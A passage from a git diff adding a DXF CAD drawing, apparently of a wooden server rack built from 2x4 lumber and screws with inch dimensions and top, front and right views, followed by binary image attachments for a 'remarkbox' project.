+7 +370 +0 +100 +AcDbLine +10 +55 +20 +20 +11 +55 +21 +-7.34788079488e-16 +0 +SOLID +5 +73 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbTrace +10 +55 +20 +20 +30 +0 +11 +55.1665138631 +21 +19 +31 +0 +12 +54.8334861369 +22 +19 +32 +0 +13 +54.8334861369 +23 +19 +33 +0 +0 +SOLID +5 +74 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbTrace +10 +55 +20 +-7.34788079488e-16 +30 +0 +11 +54.8334861369 +21 +1 +31 +0 +12 +55.1665138631 +22 +1 +32 +0 +13 +55.1665138631 +23 +1 +33 +0 +0 +MTEXT +5 +75 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbMText +10 +53.875 +20 +10 +30 +0 +40 +1 +41 +1.22222222222 +71 +5 +72 +1 +1 +20 +7 +standard +210 +0 +220 +0 +230 +1 +50 +90 +73 +2 +44 +1 +0 +ENDBLK +5 +51 +330 +4F +100 +AcDbEntity +8 +0 +100 +AcDbBlockEnd +0 +BLOCK +5 +53 +330 +52 +100 +AcDbEntity +8 +0 +100 +AcDbBlockBegin +2 +*D3 +70 +1 +10 +0 +20 +0 +3 +*D3 +1 + +0 +LINE +5 +76 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbLine +10 +21.125 +20 +16.5 +11 +26.25 +21 +16.5 +0 +LINE +5 +77 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbLine +10 +21.125 +20 +13 +11 +26.25 +21 +13 +0 +LINE +5 +78 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbLine +10 +25 +20 +16.5 +11 +25 +21 +13 +0 +SOLID +5 +79 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbTrace +10 +25 +20 +16.5 +30 +0 +11 +25.1665138631 +21 +15.5 +31 +0 +12 +24.8334861369 +22 +15.5 +32 +0 +13 +24.8334861369 +23 +15.5 +33 +0 +0 +SOLID +5 +7A +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbTrace +10 +25 +20 +13 +30 +0 +11 +24.8334861369 +21 +14 +31 +0 +12 +25.1665138631 +22 +14 +32 +0 +13 +25.1665138631 +23 +14 +33 +0 +0 +MTEXT +5 +7B +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbMText +10 +23.875 +20 +14.75 +30 +0 +40 +1 +41 +1.55555555556 +71 +5 +72 +1 +1 +3.5 +7 +standard +210 +0 +220 +0 +230 +1 +50 +90 +73 +2 +44 +1 +0 +ENDBLK +5 +54 +330 +52 +100 +AcDbEntity +8 +0 +100 +AcDbBlockEnd +0 +BLOCK +5 +56 +330 +55 +100 +AcDbEntity +8 +0 +100 +AcDbBlockBegin +2 +*D1 +70 +1 +10 +0 +20 +0 +3 +*D1 +1 + +0 +LINE +5 +7C +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbLine +10 +1.5 +20 +20.625 +11 +1.5 +21 +22.45 +0 +LINE +5 +7D +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbLine +10 +20.5 +20 +20.625 +11 +20.5 +21 +22.45 +0 +LINE +5 +7E +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbLine +10 +1.5 +20 +21.2 +11 +20.5 +21 +21.2 +0 +SOLID +5 +7F +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbTrace +10 +1.5 +20 +21.2 +30 +0 +11 +2.5 +21 +21.3665138631 +31 +0 +12 +2.5 +22 +21.0334861369 +32 +0 +13 +2.5 +23 +21.0334861369 +33 +0 +0 +SOLID +5 +80 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbTrace +10 +20.5 +20 +21.2 +30 +0 +11 +19.5 +21 +21.0334861369 +31 +0 +12 +19.5 +22 +21.3665138631 +32 +0 +13 +19.5 +23 +21.3665138631 +33 +0 +0 +MTEXT +5 +81 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbMText +10 +11 +20 +22.325 +30 +0 +40 +1 +41 +1 +71 +5 +72 +1 +1 +19 +7 +standard +210 +0 +220 +0 +230 +1 +50 +0 +73 +2 +44 +1 +0 +ENDBLK +5 +57 +330 +55 +100 +AcDbEntity +8 +0 +100 +AcDbBlockEnd +0 +BLOCK +5 +59 +330 +58 +100 +AcDbEntity +8 +0 +100 +AcDbBlockBegin +2 +*D8 +70 +1 +10 +0 +20 +0 +3 +*D8 +1 + +0 +LINE +5 +82 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbLine +10 +0.875 +20 +13 +11 +-2.25 +21 +13 +0 +LINE +5 +83 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbLine +10 +0.875 +20 +11.5 +11 +-2.25 +21 +11.5 +0 +LINE +5 +84 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbLine +10 +-1 +20 +15 +11 +-1 +21 +9.5 +0 +SOLID +5 +85 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbTrace +10 +-1 +20 +13 +30 +0 +11 +-1.16651386311 +21 +14 +31 +0 +12 +-0.833486136891 +22 +14 +32 +0 +13 +-0.833486136891 +23 +14 +33 +0 +0 +SOLID +5 +86 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbTrace +10 +-1 +20 +11.5 +30 +0 +11 +-0.833486136891 +21 +10.5 +31 +0 +12 +-1.16651386311 +22 +10.5 +32 +0 +13 +-1.16651386311 +23 +10.5 +33 +0 +0 +MTEXT +5 +87 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbMText +10 +-2.125 +20 +12.25 +30 +0 +40 +1 +41 +1.33333333333 +71 +5 +72 +1 +1 +1.5 +7 +standard +210 +0 +220 +0 +230 +1 +50 +90 +73 +2 +44 +1 +0 +ENDBLK +5 +5A +330 +58 +100 +AcDbEntity +8 +0 +100 +AcDbBlockEnd +0 +BLOCK +5 +5C +330 +5B +100 +AcDbEntity +8 +0 +100 +AcDbBlockBegin +2 +*D9 +70 +1 +10 +0 +20 +0 +3 +*D9 +1 + +0 +LINE +5 +88 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbLine +10 +0.875 +20 +8 +11 +-2.25 +21 +8 +0 +LINE +5 +89 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbLine +10 +0.875 +20 +6.5 +11 +-2.25 +21 +6.5 +0 +LINE +5 +8A +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbLine +10 +-1 +20 +10 +11 +-1 +21 +4.5 +0 +SOLID +5 +8B +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbTrace +10 +-1 +20 +8 +30 +0 +11 +-1.16651386311 +21 +9 +31 +0 +12 +-0.833486136891 +22 +9 +32 +0 +13 +-0.833486136891 +23 +9 +33 +0 +0 +SOLID +5 +8C +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbTrace +10 +-1 +20 +6.5 +30 +0 +11 +-0.833486136891 +21 +5.5 +31 +0 +12 +-1.16651386311 +22 +5.5 +32 +0 +13 +-1.16651386311 +23 +5.5 +33 +0 +0 +MTEXT +5 +8D +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbMText +10 +-2.125 +20 +7.25 +30 +0 +40 +1 +41 +1.33333333333 +71 +5 +72 +1 +1 +1.5 +7 +standard +210 +0 +220 +0 +230 +1 +50 +90 +73 +2 +44 +1 +0 +ENDBLK +5 +5D +330 +5B +100 +AcDbEntity +8 +0 +100 +AcDbBlockEnd +0 +BLOCK +5 +5F +330 +5E +100 +AcDbEntity +8 +0 +100 +AcDbBlockBegin +2 +*D5 +70 +1 +10 +0 +20 +0 +3 +*D5 +1 + +0 +LINE +5 +8E +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbLine +10 +0.875 +20 +31.5 +11 +-2.25 +21 +31.5 +0 +LINE +5 +8F +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbLine +10 +0.875 +20 +50.5 +11 +-2.25 +21 +50.5 +0 +LINE +5 +90 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbLine +10 +-1 +20 +31.5 +11 +-1 +21 +50.5 +0 +SOLID +5 +91 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbTrace +10 +-1 +20 +31.5 +30 +0 +11 +-1.16651386311 +21 +32.5 +31 +0 +12 +-0.833486136891 +22 +32.5 +32 +0 +13 +-0.833486136891 +23 +32.5 +33 +0 +0 +SOLID +5 +92 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbTrace +10 +-1 +20 +50.5 +30 +0 +11 +-0.833486136891 +21 +49.5 +31 +0 +12 +-1.16651386311 +22 +49.5 +32 +0 +13 +-1.16651386311 +23 +49.5 +33 +0 +0 +MTEXT +5 +93 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbMText +10 +-2.125 +20 +41 +30 +0 +40 +1 +41 +1 +71 +5 +72 +1 +1 +19 +7 +standard +210 +0 +220 +0 +230 +1 +50 +90 +73 +2 +44 +1 +0 +ENDBLK +5 +60 +330 +5E +100 +AcDbEntity +8 +0 +100 +AcDbBlockEnd +0 +BLOCK +5 +62 +330 +61 +100 +AcDbEntity +8 +0 +100 +AcDbBlockBegin +2 +*D7 +70 +1 +10 +0 +20 +0 +3 +*D7 +1 + +0 +LINE +5 +94 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbLine +10 +3.82702124734e-17 +20 +52.625 +11 +1.37772764904e-16 +21 +54.25 +0 +LINE +5 +95 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbLine +10 +22 +20 +52.625 +11 +22 +21 +54.25 +0 +LINE +5 +96 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbLine +10 +6.12323399574e-17 +20 +53 +11 +22 +21 +53 +0 +SOLID +5 +97 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbTrace +10 +6.12323399574e-17 +20 +53 +30 +0 +11 +1 +21 +53.1665138631 +31 +0 +12 +1 +22 +52.8334861369 +32 +0 +13 +1 +23 +52.8334861369 +33 +0 +0 +SOLID +5 +98 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbTrace +10 +22 +20 +53 +30 +0 +11 +21 +21 +52.8334861369 +31 +0 +12 +21 +22 +53.1665138631 +32 +0 +13 +21 +23 +53.1665138631 +33 +0 +0 +MTEXT +5 +99 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbMText +10 +11 +20 +54.125 +30 +0 +40 +1 +41 +1.22222222222 +71 +5 +72 +1 +1 +22 +7 +standard +210 +0 +220 +0 +230 +1 +50 +0 +73 +2 +44 +1 +0 +ENDBLK +5 +63 +330 +61 +100 +AcDbEntity +8 +0 +100 +AcDbBlockEnd +0 +ENDSEC +0 +SECTION +2 +ENTITIES +0 +LINE +5 +9A +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +0 +20 +0 +11 +0 +21 +20 +0 +LINE +5 +9B +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +0 +20 +20 +11 +1 +21 +20 +0 +LINE +5 +9C +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +1.5 +20 +20 +11 +1.5 +21 +-8.32667268469e-17 +0 +LINE +5 +9D +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +1.5 +20 +-0 +11 +0 +21 +0 +0 +LINE +5 +9E +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +20.5 +20 +5.55111512313e-17 +11 +20.5 +21 +20 +0 +LINE +5 +9F +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +1 +20 +20 +11 +21.5 +21 +20 +0 +LINE +5 +A0 +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +1.5 +20 +16.5 +11 +20.5 +21 +16.5 +0 +LINE +5 +A1 +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +1.5 +20 +13 +11 +20.5 +21 +13 +0 +LINE +5 +A2 +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +1.5 +20 +11.5 +11 +20.5 +21 +11.5 +0 +LINE +5 +A3 +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +1.5 +20 +8 +11 +20.5 +21 +8 +0 +LINE +5 +A4 +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +20.5 +20 +6.5 +11 +1.5 +21 +6.5 +0 +LINE +5 +A5 +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +22 +20 +20 +11 +22 +21 +-8.32667268469e-17 +0 +LINE +5 +A6 +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +22 +20 +-8.32667268469e-17 +11 +20.5 +21 +-8.32667268469e-17 +0 +LINE +5 +A7 +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +20 +20 +20 +11 +22 +21 +20 +0 +LINE +5 +A8 +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +30 +20 +20 +11 +30 +21 +0 +0 +LINE +5 +A9 +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +30 +20 +0 +11 +33.5 +21 +-8.32667268469e-17 +0 +LINE +5 +AA +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +33.5 +20 +-8.32667268469e-17 +11 +33.5 +21 +20 +0 +LINE +5 +AB +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +33.5 +20 +20 +11 +30 +21 +20 +0 +LINE +5 +AC +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +0 +20 +30 +11 +22 +21 +30 +0 +LINE +5 +AD +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +0 +20 +30 +11 +-5.55111512313e-17 +21 +33.5 +0 +LINE +5 +AE +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +22 +20 +30 +11 +22 +21 +33.5 +0 +LINE +5 +AF +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +2.77555756156e-17 +20 +33.5 +11 +1.5 +21 +33.5 +0 +LINE +5 +B0 +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +1.5 +20 +33.5 +11 +1.5 +21 +30 +0 +LINE +5 +B1 +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +22 +20 +33.5 +11 +20.5 +21 +33.5 +0 +LINE +5 +B2 +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +20.5 +20 +33.5 +11 +20.5 +21 +30 +0 +LINE +5 +B3 +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +20.5 +20 +31.4 +11 +20.5 +21 +31.5 +0 +LINE +5 +B4 +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +20.5 +20 +31.5 +11 +1.5 +21 +31.5 +0 +LINE +5 +B5 +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +3 +20 +31.5 +11 +3 +21 +50.5 +0 +LINE +5 +B6 +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +3 +20 +50.5 +11 +1.5 +21 +50.5 +0 +LINE +5 +B7 +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +1.5 +20 +50.5 +11 +1.5 +21 +31.5 +0 +LINE +5 +B8 +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +20.5 +20 +31.5 +11 +20.5 +21 +50.5 +0 +LINE +5 +B9 +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +20.5 +20 +50.5 +11 +19 +21 +50.5 +0 +LINE +5 +BA +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +19 +20 +50.5 +11 +19 +21 +31.5 +0 +LINE +5 +BB +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +1.5 +20 +52 +11 +-3.05311331772e-16 +21 +52 +0 +LINE +5 +BC +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +-3.05311331772e-16 +20 +52 +11 +-3.05311331772e-16 +21 +48.5 +0 +LINE +5 +BD +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +-3.05311331772e-16 +20 +48.5 +11 +1.5 +21 +48.5 +0 +LINE +5 +BE +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +1.5 +20 +48.5 +11 +1.5 +21 +52 +0 +LINE +5 +BF +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +1.5 +20 +52 +11 +20.5 +21 +52 +0 +LINE +5 +C0 +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +20.5 +20 +52 +11 +20.5 +21 +50.5 +0 +LINE +5 +C1 +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +20.5 +20 +52 +11 +22 +21 +52 +0 +LINE +5 +C2 +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +22 +20 +52 +11 +22 +21 +48.5 +0 +LINE +5 +C3 +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +22 +20 +48.5 +11 +20.5 +21 +48.5 +0 +LINE +5 +C4 +100 +AcDbEntity +8 +0 +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +19 +20 +50.5 +11 +3 +21 +50.5 +0 +LINE +5 +C5 +100 +AcDbEntity +8 +hatch +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +30 +20 +20 +11 +52 +21 +20 +0 +LINE +5 +C6 +100 +AcDbEntity +8 +hatch +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +52 +20 +20 +11 +52 +21 +0 +0 +LINE +5 +C7 +100 +AcDbEntity +8 +hatch +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +52 +20 +0 +11 +48.5 +21 +0 +0 +LINE +5 +C8 +100 +AcDbEntity +8 +hatch +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +48.5 +20 +0 +11 +48.5 +21 +20 +0 +LINE +5 +C9 +100 +AcDbEntity +8 +hatch +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbLine +10 +33.5 +20 +16.5 +11 +48.5 +21 +16.5 +0 +DIMENSION +5 +CA +100 +AcDbEntity +8 +dimensions +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbDimension +2 +*D1 +10 +20.5 +20 +21.2 +30 +0 +11 +11 +21 +22.325 +31 +0 +70 +33 +71 +5 +3 +Standard +53 +0 +210 +0 +220 +0 +230 +1 +100 +AcDbAlignedDimension +13 +1.5 +23 +20 +33 +0 +14 +20.5 +24 +20 +34 +0 +0 +DIMENSION +5 +CB +100 +AcDbEntity +8 +dimensions +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbDimension +2 +*D2 +10 +25 +20 +8 +30 +0 +11 +23.875 +21 +9.75 +31 +0 +70 +33 +71 +5 +3 +Standard +53 +0 +210 +0 +220 +0 +230 +1 +100 +AcDbAlignedDimension +13 +20.5 +23 +11.5 +33 +0 +14 +20.5 +24 +8 +34 +0 +0 +DIMENSION +5 +CC +100 +AcDbEntity +8 +dimensions +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbDimension +2 +*D3 +10 +25 +20 +13 +30 +0 +11 +23.875 +21 +14.75 +31 +0 +70 +33 +71 +5 +3 +Standard +53 +0 +210 +0 +220 +0 +230 +1 +100 +AcDbAlignedDimension +13 +20.5 +23 +16.5 +33 +0 +14 +20.5 +24 +13 +34 +0 +0 +DIMENSION +5 +CD +100 +AcDbEntity +8 +dimensions +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbDimension +2 +*D4 +10 +55 +20 +-7.34788079488e-16 +30 +0 +11 +53.875 +21 +10 +31 +0 +70 +33 +71 +5 +3 +Standard +53 +0 +210 +0 +220 +0 +230 +1 +100 +AcDbAlignedDimension +13 +52 +23 +20 +33 +0 +14 +52 +24 +0 +34 +0 +0 +DIMENSION +5 +CE +100 +AcDbEntity +8 +dimensions +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbDimension +2 +*D5 +10 +-1 +20 +50.5 +30 +0 +11 +-2.125 +21 +41 +31 +0 +70 +33 +71 +5 +3 +Standard +53 +0 +210 +0 +220 +0 +230 +1 +100 +AcDbAlignedDimension +13 +1.5 +23 +31.5 +33 +0 +14 +1.5 +24 +50.5 +34 +0 +0 +DIMENSION +5 +CF +100 +AcDbEntity +8 +dimensions +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbDimension +2 +*D6 +10 +24 +20 +30 +30 +0 +11 +22.875 +21 +41 +31 +0 +70 +33 +71 +5 +3 +Standard +53 +0 +210 +0 +220 +0 +230 +1 +100 +AcDbAlignedDimension +13 +22 +23 +52 +33 +0 +14 +22 +24 +30 +34 +0 +0 +DIMENSION +5 +D0 +100 +AcDbEntity +8 +dimensions +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbDimension +2 +*D7 +10 +22 +20 +53 +30 +0 +11 +11 +21 +54.125 +31 +0 +70 +33 +71 +5 +3 +Standard +53 +0 +210 +0 +220 +0 +230 +1 +100 +AcDbAlignedDimension +13 +0 +23 +52 +33 +0 +14 +22 +24 +52 +34 +0 +0 +DIMENSION +5 +D1 +100 +AcDbEntity +8 +dimensions +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbDimension +2 +*D8 +10 +-1 +20 +11.5 +30 +0 +11 +-2.125 +21 +12.25 +31 +0 +70 +33 +71 +5 +3 +Standard +53 +0 +210 +0 +220 +0 +230 +1 +100 +AcDbAlignedDimension +13 +1.5 +23 +13 +33 +0 +14 +1.5 +24 +11.5 +34 +0 +0 +DIMENSION +5 +D2 +100 +AcDbEntity +8 +dimensions +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbDimension +2 +*D9 +10 +-1 +20 +6.5 +30 +0 +11 +-2.125 +21 +7.25 +31 +0 +70 +33 +71 +5 +3 +Standard +53 +0 +210 +0 +220 +0 +230 +1 +100 +AcDbAlignedDimension +13 +1.5 +23 +8 +33 +0 +14 +1.5 +24 +6.5 +34 +0 +0 +LINE +5 +D3 +100 +AcDbEntity +8 +0 +6 +DOT2 +62 +256 +370 +-1 +100 +AcDbLine +10 +19 +20 +48.5 +11 +3 +21 +48.5 +0 +LINE +5 +D4 +100 +AcDbEntity +8 +0 +6 +DOT2 +62 +256 +370 +-1 +100 +AcDbLine +10 +3 +20 +33.5 +11 +19 +21 +33.5 +0 +LINE +5 +D5 +100 +AcDbEntity +8 +0 +6 +DOT2 +62 +256 +370 +-1 +100 +AcDbLine +10 +30 +20 +13 +11 +33.5 +21 +13 +0 +LINE +5 +D6 +100 +AcDbEntity +8 +0 +6 +DOT2 +62 +256 +370 +-1 +100 +AcDbLine +10 +30 +20 +11.5 +11 +33.5 +21 +11.5 +0 +LINE +5 +D7 +100 +AcDbEntity +8 +0 +6 +DOT2 +62 +256 +370 +-1 +100 +AcDbLine +10 +30 +20 +8 +11 +33.5 +21 +8 +0 +LINE +5 +D8 +100 +AcDbEntity +8 +0 +6 +DOT2 +62 +256 +370 +-1 +100 +AcDbLine +10 +30 +20 +6.5 +11 +33.5 +21 +6.5 +0 +LINE +5 +D9 +100 +AcDbEntity +8 +0 +6 +DOT2 +62 +256 +370 +-1 +100 +AcDbLine +10 +48.5 +20 +13 +11 +52 +21 +13 +0 +LINE +5 +DA +100 +AcDbEntity +8 +0 +6 +DOT2 +62 +256 +370 +-1 +100 +AcDbLine +10 +52 +20 +11 +11 +48.5 +21 +11 +0 +LINE +5 +DB +100 +AcDbEntity +8 +0 +6 +DOT2 +62 +256 +370 +-1 +100 +AcDbLine +10 +48.5 +20 +8 +11 +52 +21 +8 +0 +LINE +5 +DC +100 +AcDbEntity +8 +0 +6 +DOT2 +62 +256 +370 +-1 +100 +AcDbLine +10 +52 +20 +6 +11 +48.5 +21 +6 +0 +MTEXT +5 +DD +100 +AcDbEntity +8 +text +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbMText +10 +32.5 +20 +50 +30 +0 +40 +1 +41 +18.7777793206 +71 +1 +72 +1 +1 +MATERIALS:\P\P* 2x4 (1.5x3.5 INCH)\P* 2 INCH SCREWS\P\PUNITS:\P\P* INCH\P\PRUSSELL BALLESTRINI\Phttp://russell.ballestrini.net +7 + +210 +0 +220 +0 +230 +1 +50 +0 +73 +2 +44 +1 +0 +MTEXT +5 +DE +100 +AcDbEntity +8 +text +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbMText +10 +10 +20 +29 +30 +0 +40 +1 +41 +2.33333333333 +71 +1 +72 +1 +1 +TOP +7 + +210 +0 +220 +0 +230 +1 +50 +0 +73 +2 +44 +1 +0 +MTEXT +5 +DF +100 +AcDbEntity +8 +text +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbMText +10 +9 +20 +-1 +30 +0 +40 +1 +41 +4 +71 +1 +72 +1 +1 +FRONT +7 + +210 +0 +220 +0 +230 +1 +50 +0 +73 +2 +44 +1 +0 +MTEXT +5 +E0 +100 +AcDbEntity +8 +text +6 +ByLayer +62 +256 +370 +-1 +100 +AcDbMText +10 +40 +20 +-1 +30 +0 +40 +1 +41 +3.55555555556 +71 +1 +72 +1 +1 +RIGHT\P +7 + +210 +0 +220 +0 +230 +1 +50 +0 +73 +2 +44 +1 +0 +ENDSEC +0 +SECTION +2 +OBJECTS +0 +DICTIONARY +5 +C +330 +0 +100 +AcDbDictionary +281 +1 +3 +ACAD_GROUP +350 +D +0 +DICTIONARY +5 +D +330 +C +100 +AcDbDictionary +281 +1 +0 +ENDSEC +0 +EOF diff --git a/remarkbox/static/attachment/wooden-server-rack-2.png b/remarkbox/static/attachment/wooden-server-rack-2.png new file mode 100644 index 0000000..cf7b7bf Binary files /dev/null and b/remarkbox/static/attachment/wooden-server-rack-2.png differ diff --git a/remarkbox/static/attachment/wooden-server-rack-black-stain.jpg b/remarkbox/static/attachment/wooden-server-rack-black-stain.jpg new file mode 100644 index 0000000..5dbd12d Binary files /dev/null and b/remarkbox/static/attachment/wooden-server-rack-black-stain.jpg differ diff --git a/remarkbox/static/attachment/yohdah.png b/remarkbox/static/attachment/yohdah.png new file mode 100644 index 0000000..d6e9f98 Binary files /dev/null and b/remarkbox/static/attachment/yohdah.png differ